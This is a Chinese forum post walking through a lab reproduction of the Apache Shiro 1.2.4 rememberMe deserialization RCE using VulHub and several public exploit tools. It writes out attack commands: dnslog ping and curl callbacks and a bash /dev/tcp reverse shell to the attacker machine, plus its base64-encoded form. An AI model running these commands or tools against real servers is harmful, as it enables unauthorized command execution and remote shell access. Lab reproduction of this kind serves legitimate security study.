安全矩阵

 找回密码
 立即注册
搜索
查看: 2382|回复: 0

Shiro 1.2.4 反序列化命令执行漏洞复现

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-30 08:59:14 | 显示全部楼层 |阅读模式
原文链接:Shiro 1.2.4 反序列化命令执行漏洞复现

目录
  1. 1. Shiro简介  2
  2. 2. 漏洞概述  2
  3. 3. 漏洞原理  2
  4. 4. 漏洞环境  2
  5. 5. VulHub部署Shiro1.2.4 漏洞环境  3
  6. 5.1. Centos上执行操作  3
  7. 5.2. Windows10上查看结果  4
  8. 6. 使用工具ShiroScan进行漏洞验证  5
  9. 6.1. Kali上执行操作  5
  10. 6.2. Windows10上查看结果  5
  11. 7. 使用工具shiro_rce进行漏洞验证  5
  12. 7.1. Kali上执行操作  5
  13. 7.2. Windows10上查看结果  8
  14. 7.3. Kali上查看结果  8
  15. 8. 使用工具ShiroExploit进行漏洞验证  8
  16. 8.1. Windows10上执行操作  8
  17. 8.2. Windows上查看结果  9
  18. 8.3. Kali上执行操作  10
  19. 8.4. Windows10上执行操作  10
  20. 8.5. Kali上查看结果  11
  21. 9. 参考  12
复制代码

1.Shiro简介Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
2. 漏洞概述Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
3. 漏洞原理Apache Shiro 1.2.4反序列化漏洞分析漏洞原理分析,可参考https://www.freebuf.com/vuls/178014.html
4. 漏洞环境
                        名称
                       
                        操作系统
                       
                        IP
                       
                        版本
                       
                        Java环境(java -version)
                       
                        攻击机
                       
                        Kali(VM虚拟机、NAT模式)
                       
                        192.168.96.129
                       
                        Linux version 4.19.0-kali4-amd64 (devel@kali.org) (gcc version 8.3.0 (Debian 8.3.0-2)) #1 SMP Debian 4.19.28-2kali1 (2019-03-18)
                       
                        l java version "1.8.0_191"
                        l Java(TM) SE Runtime Environment (build 1.8.0_191-b12)
                        l Java HotSpot(TM) 64-Bit Server VM (build 25.191-b12, mixed mode)
                                               
                        靶机
                       
                        Centos7(VM虚拟机、NAT模式)
                       
                        192.168.96.128
                       
                        CentOS Linux release 7.6.1810 (Core)
                       
                        l openjdk version "1.8.0_181"
                        l OpenJDK Runtime Environment (build 1.8.0_181-b13)
                        l OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)
                       
                        Burpsuite
                        使用主机
                       
                        Windows10
                       
                        172.20.10.8
                       
                        2004
                       
                        l java version "1.8.0_211"
                        l Java(TM) SE Runtime Environment (build 1.8.0_211-b12)
                        l Java HotSpot(TM) 64-Bit Server VM (build 25.211-b12, mixed mode)
                       
5. VulHub部署Shiro1.2.4 漏洞环境5.1. Centos上执行操作1、进入漏洞目录

cd /root/vulhub/shiro/CVE-CVE-2016-4437
2、使用docker一键部署启动

docker-compose build && docker-compose up -d
3、漏洞环境部署完成
http://192.168.96.128:8080/login ... 9945FCB3E0CA1EF40D5
4、关闭漏洞环境
当漏洞验证完成时,在漏洞目录执行docker-compose down关闭漏洞环境。
5.2. Windows10上查看结果访问
http://192.168.96.128:8080/login ... 756144BEA028204C1E2

账号密码为admin/vulhub
使用burpsuite进行抓包,发现Set-cookie中有rememberMe字段

6. 使用工具ShiroScan进行漏洞验证6.1. Kali上执行操作1、下载工具

git clone https://github.com/sv3nbeast/ShiroScan.git
2、执行利用脚本

python shiro_rce.py http://192.168.96.128:8080 "ping 9vurou.dnslog.cn"

6.2. Windows10上查看结果查看dnslog执行记录:

7. 使用工具shiro_rce进行漏洞验证7.1. Kali上执行操作1、下载工具

wget https://xz.aliyun.com/forum/upload/affix/shiro_tool.zip
解压密码wyzxxz
2、解压文件
7z x -pwyzxxz shiro_tool.zip
3、执行以下命令

java -jar shiro_tool.jar http://192.168.96.128:8080

4、在第三步的基础上,选择0后,执行命令:curl cc5ost.dnslog.cn

5、获取shell
Nc开启端口监听:

然后需要将shell反弹到kali主机,反弹shell的命令为:

bash -i >& /dev/tcp/192.168.96.129/7777 0>&1
对该命令进行base64编码(http://www.jackson-t.ca/runtime-exec-payloads.html),得到以下结果:
在第三步的基础上,选择0后,输入命令:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEyOS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
7.2. Windows10上查看结果查看dnslog执行记录:

7.3. Kali上查看结果成功反弹shell:

8. 使用工具ShiroExploit进行漏洞验证8.1. Windows10上执行操作
8.2. Windows上查看结果
8.3. Kali上执行操作Nc开启端口监听

8.4. Windows10上执行操作使用该工具反弹shell到kali:

执行完毕:

8.5. Kali上查看结果成功反弹shell

9. 参考https://www.cnblogs.com/kyooo/p/13857158.html
传送门https://github.com/jeansgit/Pentest


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:39 , Processed in 0.017362 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表